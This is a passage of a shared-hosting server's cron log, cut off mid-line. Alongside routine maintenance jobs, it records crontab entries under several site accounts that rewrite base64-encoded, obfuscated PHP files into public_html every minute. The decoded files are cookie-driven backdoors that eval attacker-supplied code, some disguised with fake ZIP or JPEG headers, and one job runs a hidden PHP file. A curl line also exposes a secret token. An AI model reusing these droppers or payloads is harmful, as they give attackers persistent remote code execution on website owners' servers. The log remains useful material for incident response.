Mar  1 06:48:01 medusa CROND[3571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:48:01 medusa CROND[3572]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:48:01 medusa CROND[3575]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:48:01 medusa CROND[3576]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:48:01 medusa CROND[3577]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:48:01 medusa CROND[3580]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:48:01 medusa CROND[3583]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:48:01 medusa CROND[3585]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:48:01 medusa CROND[3578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:48:01 medusa CROND[3592]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:48:01 medusa CROND[3590]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:49:01 medusa CROND[7766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:49:01 medusa CROND[7890]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:49:01 medusa CROND[7891]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:49:01 medusa CROND[7892]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:49:01 medusa CROND[7893]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:49:01 medusa CROND[7894]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:49:01 medusa CROND[7895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:49:01 medusa CROND[7896]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
Mar  1 06:49:01 medusa CROND[7897]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:49:01 medusa CROND[7899]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:49:01 medusa CROND[7898]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:49:01 medusa CROND[7902]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:49:01 medusa CROND[7904]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11230]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11291]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:50:01 medusa CROND[11386]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:50:01 medusa CROND[11387]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:50:01 medusa CROND[11388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11389]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11391]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:50:01 medusa CROND[11390]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:50:01 medusa CROND[11393]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:50:01 medusa CROND[11394]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 